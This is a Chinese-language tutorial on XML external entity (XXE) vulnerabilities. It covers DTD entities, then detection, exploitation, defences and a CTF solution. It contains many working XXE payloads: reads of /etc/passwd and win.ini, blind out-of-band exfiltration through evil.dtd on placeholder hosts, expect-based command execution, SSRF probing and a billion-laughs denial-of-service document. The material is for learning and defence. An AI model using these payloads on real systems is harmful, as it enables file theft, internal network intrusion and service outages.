XXE漏洞學習


 

0x00 什么是XML

 

1.定義

XML用於標記電子文件使其具有結構性的標記語言,可以用來標記數據、定義數據類型,是一種允許用戶對自己的標記語言進行定義的源語言。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

 

2.文檔結構

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

 

<!--XML聲明-->
<?xml version="1.0"?>
<!--文檔類型定義-->
<!DOCTYPE note [  <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)>  <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)>     <!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)>   <!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)>   <!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)>   <!--定義body元素為”#PCDATA”類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

 

 

3.DTD

XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。

1.內部聲明DTD:

<!DOCTYPE 根元素 [元素聲明]>

 

2.引用外部DTD:

<!DOCTYPE 根元素 SYSTEM "文件名">

 

3.內外部DTD文檔結合:

<!DOCTYPE 根元素 SYSTEM "DTD文件路徑" [定義內容]>

 

DTD中的一些重要的關鍵字:

 

  • DOCTYPE(DTD的聲明)
  • ENTITY(實體的聲明)
  • SYSTEM、PUBLIC(外部資源申請)

 

4.實體類別介紹

實體主要分為一下四類

 

  • 內置實體 (Built-in entities)
  • 字符實體 (Character entities)
  • 通用實體 (General entities)
  • 參數實體 (Parameter entities)

 

參數實體用%實體名稱申明,引用時也用%實體名稱;

其余實體直接用實體名稱申明,引用時用&實體名稱。

參數實體只能在DTD中申明,DTD中引用;

其余實體只能在DTD中申明,可在xml文檔中引用。

 

注意:參數實體是在DTD中被引用的,而其余實體是在xml文檔中被引用的。

 

 

0x01 DTD 實體聲明:

 

1. 內部實體聲明

 

<!ENTITY 實體名稱 “實體的值”>

 

一個實體由三部分構成:&符號, 實體名稱, 分號 (;),這里&不論在GET還是在POST中都需要進行URL編碼,因為是使用參數傳入xml的,&符號會被認為是參數間的連接符號,示例:

 

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

 

 

2. 外部實體聲明

 

XML中對數據的引用稱為實體,實體中有一類叫外部實體,用來引入外部資源,有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機,外部實體的引用可以借助各種協議,比如如下的三種:

file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

 

 

<!ENTITY 實體名稱 SYSTEM “URI/URL”>

 

外部引用可支持http,file等協議,不同的語言支持的協議不同,但存在一些通用的協議,具體內容如下所示:

 

 

外部實體的默認協議

示例:

 

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(實體引用名) SYSTEM "file:///etc/passwd"(實體內容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

 

這種寫法則調用了本地計算機的文件/etc/passwd,XML內容被解析后,文件內容便通過&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

 

3. 參數實體聲明

 

<!ENTITY % 實體名稱 “實體的值”>
or
<!ENTITY % 實體名稱 SYSTEM “URI”>

 

示例:

 

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的內容。

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

 

4. 引用公共實體

 

<!ENTITY 實體名稱 PUBLIC "public_ID" "URI">

 

 

0x02 什么是XML外部實體攻擊?

 

有了XML實體,關鍵字’SYSTEM’會令XML解析器從URI中讀取內容,並允許它在XML文檔中被替換。因此,攻擊者可以通過實體將他自定義的值發送給應用程序,然后讓應用程序去呈現。 簡單來說,攻擊者強制XML解析器去訪問攻擊者指定的資源內容(可能是系統上本地文件亦或是遠程系統上的文件)。比如,下面的代碼將獲取系統上folder/file的內容並呈獻給用戶。

 

Code1:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
        <value>&passwd;</value>
</foo>

 

Code2:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE b [<!ENTITY entityex SYSTEM "file:///folder/file">]>
<foo>
        <value>&entityex;</value>
</foo>

 

Code3:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>
</root>

 

以Code1代碼為例,XML外部實體 ‘passwd’ 被賦予的值為:file:///etc/passwd。在解析XML文檔的過程中,實體’passwd’的值會被替換為URI(file:///etc/passwd)內容值(也就是passwd文件的內容)。關鍵字’SYSTEM’會告訴XML解析器,’passwd’實體的值將從其后的URI中讀取。

 

 

0x03 怎么甄別一個XML實體攻擊漏洞?

 

XXE漏洞主要針對web服務危險的引用的外部實體並且未對外部實體進行敏感字符的過濾,從而可以造成命令執行,目錄遍歷等。

最直接的回答就是: 甄別那些接受XML作為輸入內容的端點。 但是有時候,這些端點可能並不是那么明顯(比如,一些僅使用JSON去訪問服務的客戶端)。在這種情況下,滲透測試人員就必須嘗試不同的測試方式,比如修改HTTP的請求方法,修改Content-Type頭部字段等等方法,然后看看應用程序的響應,看看程序是否解析了發送的內容,如果解析了,那么則可能有XXE攻擊漏洞。

例如wsdl(web服務描述語言)。或者一些常見的采用xml的java服務配置文件(spring,struts2)。不過現實中存在的大多數XXE漏洞都是blind,即不可見的,必須采用帶外通道進行返回信息的記錄,這里簡單來說就是攻擊者必須具有一台具有公網ip的主機。

 

 

xxe漏洞檢測

 

第一步檢測XML是否會被成功解析:

 

<?xml version="1.0" encoding="UTF-8"?> 
<!DOCTYPE ANY [ 
<!ENTITY name "my name is nMask">]>
<root>&name;</root>

 

如果頁面輸出了my name is nMask,說明xml文件可以被解析。

第二步檢測服務器是否支持DTD引用外部實體:

 

<?xml version=”1.0” encoding=”UTF-8”?> 
<!DOCTYPE ANY [ 
<!ENTITY % name SYSTEM "http://localhost/index.html"> 
%name; 
]>

 

可通過查看自己服務器上的日志來判斷,看目標服務器是否向你的服務器發了一條請求index.html的請求。

 

從PHP代碼層面上

最開始,引入一個file_get_contents函數,將整個XML數據讀入data字符串中,然后交給php的xml解析函數simplexml_load_string()解析,解析后的數據賦給xml變量。

這一數據即XML字符串中使用的對象(或者說根元素)的數據,並echo輸出出來。

 

<?php
$data = file_get_contents('php://input');  //獲取提交的XML數據
$xml = simplexml_load_string($data);  // 交給PHP的XML解析函數
echo $xml->name;
?>

 

 

0x04 xxe漏洞的危害

 

xxe漏洞的危害有很多,比如可以文件讀取、命令執行、內網端口掃描、攻擊內網網站、發起dos攻擊等,這里就讀取任意文件的利用方式進行測試。

危害1:讀取任意文件

有回顯情況

XML.php

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

 

訪問XML.php可以讀取etc/passwd文件內容

該CASE是讀取/etc/passwd,有些XML解析庫支持列目錄,攻擊者通過列目錄、讀文件,獲取帳號密碼后進一步攻擊,如讀取tomcat-users.xml得到帳號密碼后登錄tomcat的manager部署webshell。

 

實例展示:

 

可以使用如下的兩種方式進行XXE注入攻擊。

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的內容。

<!ENTITY evil SYSTEM “file:///c:/windows/win.ini” >

 

當然也可以進行內網站點的入侵。

 

 以上任意文件讀取能夠成功,除了DTD可有引用外部實體外,還取決於有輸出信息,即有回顯。那么如果程序沒有回顯的情況下,該怎么讀取文件內容呢?需要使用blind xxe漏洞去利用。

 

無回顯的情況

 

blind xxe漏洞方案1:

 

對於傳統的XXE來說,要求攻擊者只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,如果沒有回顯則可以使用Blind XXE漏洞來構建一條帶外信道提取數據。

創建test.php寫入以下內容:

<?php 
file_put_contents("test.txt", $_GET['file']) ; ?>

 

創建index.php寫入以下內容:

<?php 
$xml=<<<EOF 
<?xml version="1.0"?> 
<!DOCTYPE ANY[ 
<!ENTITY % file SYSTEM "file:///C:/test.txt"> 
<!ENTITY % remote SYSTEM "http://localhost/test.xml"> 
%remote;
%all;
%send; 
]> 
EOF; 
$data = simplexml_load_string($xml) ; 
echo "<pre>" ; print_r($data) ; ?>

 

創建test.xml並寫入以下內容:

<!ENTITY % all "<!ENTITY % send SYSTEM 'http://localhost/test.php?file=%file;'>">

當訪問http://localhost/index.php, 存在漏洞的服務器會讀出text.txt內容,發送給攻擊者服務器上的test.php,然后把讀取的數據保存到本地的test.txt中。

blind xxe漏洞方案2:

可以將文件內容發送到遠程服務器,然后讀取。

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a[
        <!ENTITY % f SYSTEM "http://yourhost/evil.dtd">
        %f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);

遠程服務器的evil.dtd文件內容

<!ENTITY b SYSTEM "file:///etc/passwd">

blind xxe漏洞方案3:

可以使用外帶數據通道提取數據,先使用php://filter獲取目標文件的內容,然后將內容以http請求發送到接受數據的服務器(攻擊服務器)xxx.xxx.xxx。

<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的內容,內部的%號要進行實體編碼成&#x25。

<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;

有報錯直接查看報錯信息。

無報錯需要訪問接受數據的服務器中的日志信息,可以看到經過base64編碼過的數據,解碼后便可以得到數據。

 

 

這里列舉幾個案例:

 

惡意引入外部實體1:

**XML內容**

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
      <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<aaa>&b;</aaa>

 

惡意引入外部實體2:

**XML內容**

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
     <!ENTITY % d SYSTEM "http://yourhost/evil.dtd">
     %d;
]>
<aaa>&b;</aaa>

DTD文件(evil.dtd)內容:

<!ENTITY b SYSTEM "file:///etc/passwd">

 

惡意引入外部實體3

**XML內容**

<?xml verstion="1.0" encoding="utf-8"?>
<!DOCTYPE a SYSTEM "http://yourhost/evil.dtd">
]>
<c>&b;</c>

DTD文件內容

<!ENTITY b SYSTEM "file:///etc/passwd">

 

惡意引入外部實體(4)

 

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

 

危害2:命令執行

php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "except://ls"> # id
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

 

該CASE是在安裝expect擴展的PHP環境里執行系統命令,其他協議也有可能可以執行系統命令。

 

危害3:內網探測/SSRF

由於xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。

<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

 

危害4:攻擊內網網站

 

該CASE是攻擊內網struts2網站,遠程執行系統命令。

 

危害5:拒絕服務攻擊

2. To crash the server / Cause denial of service:

 <?xml version="1.0"?>
 <!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
 ]>
 <lolz>&lol9;</lolz>

 

上面樣例代碼2中的XXE漏洞攻擊就是著名的’billion laughs’ 攻擊。

(https://en.wikipedia.org/wiki/Billion_laughs),該攻擊通過創建一項遞歸的 XML 定義,在內存中生成十億個”Ha!”字符串,從而導致 DDoS 攻擊。

原理為:構造惡意的XML實體文件耗盡可用內存,因為許多XML解析器在解析XML文檔時傾向於將它的整個結構保留在內存中,解析非常慢,造成了拒絕服務器攻擊。除了這些,攻擊者還可以讀取服務器上的敏感數據,還能通過端口掃描,獲取后端系統的開放端口。

 

0x05 XXE漏洞修復與防御

 

xxe漏洞存在是因為XML解析器解析了用戶發送的不可信數據。然而,要去校驗DTD(document type definition)中SYSTEM標識符定義的數據,並不容易,也不大可能。大部分的XML解析器默認對於XXE攻擊是脆弱的。因此,最好的解決辦法就是配置XML處理器去使用本地靜態的DTD,不允許XML中含有任何自己聲明的DTD。通過設置相應的屬性值為false,XML外部實體攻擊就能夠被阻止。因此,可將外部實體、參數實體和內聯DTD 都被設置為false,從而避免基於XXE漏洞的攻擊。

 

 

方案一:使用開發語言提供的禁用外部實體的方法

PHP

libxml_disable_entity_loader(true);

 

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();

dbf.setExpandEntityReferences(false);

 

Python

from lxml import etree

xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

 

方案二:過濾用戶提交的XML數據

 

過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。

 

 

0x06 一道CTF題目

 

題目鏈接:

http://web.jarvisoj.com:9882/

 

目的很明確獲取/home/ctf/flag.txt的內容

下面分析源碼

 

<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

 

很明顯是AJAX異步傳送數據

在一般的異步網站都會有異步數據與服務器的交互,一般傳送數據為json但如果將傳送的數據格式改為xml。有很大的可能服務器會解析你異步上傳的xml腳本執行想要干的事

解題步驟:

要先修改Content-Type: application/xml

然后加入xml腳本即可

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
<!ENTITY myentity SYSTEM "file:///home/ctf/flag.txt" >]>
<abc>&myentity;</abc>

 得到返回結果

<abc>CTF{XxE_15_n0T_S7range_Enough}

</abc>

 

0x07 參考鏈接

 

https://security.tencent.com/index.php/blog/msg/69

https://thief.one/2017/06/20/1/

https://www.jianshu.com/p/7325b2ef8fc9

https://blog.csdn.net/qq_31481187/article/details/53028221

http://netsecurity.51cto.com/art/201702/531996.htm

https://www.cnblogs.com/wfzWebSecuity/p/6681114.html

https://www.jianshu.com/p/7325b2ef8fc9

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM